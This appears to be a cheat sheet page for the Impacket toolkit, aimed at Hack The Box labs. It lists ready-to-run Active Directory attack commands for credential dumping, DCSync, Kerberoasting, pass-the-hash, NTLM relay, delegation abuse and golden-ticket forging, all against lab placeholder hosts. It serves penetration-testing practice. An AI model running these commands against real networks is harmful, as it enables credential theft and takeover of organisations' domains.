Impacket

Impacket implements SMB, Kerberos, LDAP, MSRPC and MSSQL in Python, and its example scripts are the bread and butter of attacking Active Directory from Linux. On Kali they are installed as impacket-name (impacket-secretsdump); with pip, as name.py.

Platform
Linux (Python)
Official site
github.com/fortra/impacket
On HTB
35 machines
Install
pipx install impacket

Impacket cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
34 commands

More examples

Users by SID with the guest account
impacket-lookupsid [email protected] -no-pass
Domain hashes from a copy of ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Connect to MSSQL with a Windows account
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth
Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Turn a Rubeus ticket (.kirbi) into a Linux one
impacket-ticketConverter ticket.kirbi ticket.ccache

In our cheatsheets

File transfer › Windows

SMB share on your machine Attacker
impacket-smbserver share $(pwd) -smb2support
If Windows blocks guest access Attacker
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwn

SQL injection payloads › MSSQL

Connect Attacker
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth

Windows and Active Directory privilege escalation › Windows

Extract the SAM hashes Attacker
impacket-secretsdump -sam sam -system system LOCAL
Pass-the-hash with psexec Attacker
impacket-psexec [email protected] -hashes :HASH_NT

Windows and Active Directory privilege escalation › Active Directory

AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat

Crack with hashcat -m 18200.

Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Crack with hashcat -m 13100.

DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT

Active Directory in depth › NTLM relay

Relay to SMB to dump SAM Attacker
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay to LDAP for delegation or shadow credentials Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay to the CA (ESC8) for a machine cert Attacker
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Active Directory in depth › Delegation

With Impacket Attacker
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Request a service ticket as administrator (S4U2proxy) Attacker
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Create a machine account (if MachineAccountQuota > 0) Attacker
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Write the delegation and request the ticket Attacker
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20

Active Directory in depth › Impacket

TGT (and export it) Attacker
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
Kerberoasting Attacker
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crack it: hashcat -m 13100 kerberoast.txt rockyou.txt

AS-REP roasting Attacker
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

psexec (SYSTEM) Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
wmiexec (más sigiloso) Attacker
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
with pass-the-hash Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
SAM/LSA (local admin) Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
DCSync Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
Golden ticket (with the krbtgt hash) Attacker
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator

C2 and post-exploitation › Lateral movement

impacket-psexec Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
Sysinternals PsExec (from Windows) Target
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd
impacket-wmiexec Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
impacket-dcomexec (MMC20) Attacker
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20

HTB machines where Impacket is used

Taken from the chapters of IppSec videos where Impacket shows up. The ▶ link jumps to the minute of that part.

Guides that use Impacket